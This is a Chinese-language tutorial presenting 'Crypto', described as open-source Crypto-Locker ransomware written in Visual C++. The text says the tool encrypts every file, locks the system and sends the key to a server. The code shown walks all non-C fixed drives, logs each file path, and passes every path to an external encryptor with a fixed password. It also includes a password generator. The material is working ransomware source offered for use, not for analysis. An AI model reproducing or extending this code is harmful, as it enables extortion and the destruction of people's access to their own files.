Crypto 是开源的 Crypto-Locker。Crypto 使用 Visual C++ 开发。它具有加密所有文件、锁定系统并将密钥发送回服务器的功能。多线程功能使此工具的加密速度更快。
使用强大的 256 位加密算法,一旦文件被加密,没有密码文件将完全无法使用。它根本无法被读取。
获取所有驱动器中的所有文件以进行加密。
以下是 Visual C++ 程序,用于获取驱动器中的所有目录和文件列表,并将路径存储在文本文件中以供后续加密使用。我使用 Boost C++ 库来获取所有文件列表。请先设置 Boost 库以编译程序。
#include <boost/config/warning_disable.hpp>
#include <boost/filesystem.hpp>
#include <iostream>
#include <iterator>
#include <stdio.h>
#include <windows.h>
using namespace std;
fstream out_file("data.txt", ios::out);
#define MAX 256
int main(int argc, char* argv[]) {
int dr_type = 99;
char dr_avail[MAX];
char *temp = dr_avail;
/* 1st we fill the buffer */
GetLogicalDriveStrings(MAX, dr_avail);
while (*temp != NULL) { // Split the buffer by null
dr_type = GetDriveType(temp);
char skip[10] = "C:\\";
if (dr_type == 3 && temp[0] != 'C') {
boost::system::error_code dir_error;
for (boost::filesystem::recursive_directory_iterator end, dir(temp, dir_error); dir != end; dir.increment(dir_error)) {
if (dir_error.value()) {
cerr << "Error accessing file: " << dir_error.message() << endl;
}
else {
cout << dir->path() << endl;
out_file << dir->path() << "\n";
}
}
}
temp += lstrlen(temp) + 1;
}
out_file.close();
system("pause");
首先,我从 "data.txt" 中逐行获取每个文件路径,并将其连同加密类型和密码发送到此加密工具。您也可以将整个程序嵌入到上面的循环中,以递归方式获取路径并加密数据。
out_file.open("data.txt", ios::in);
string line;
while (out_file.good()) {
getline(out_file, line);
cout << line << endl;
std::string cmmd = "crpt.exe -e -p 4321 ";
cmmd += line;
system(cmmd.c_str());
}
将长度传递给函数,函数返回一个复杂的长生成密码,您可以使用它进行加密。
string RandomString(int len)
{
srand(time(0));
string str = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz";
string newstr;
int pos;
while (newstr.size() != len) {
pos = ((rand() % (str.size() - 1)));
newstr += str.substr(pos, 1);
}
return newstr;
}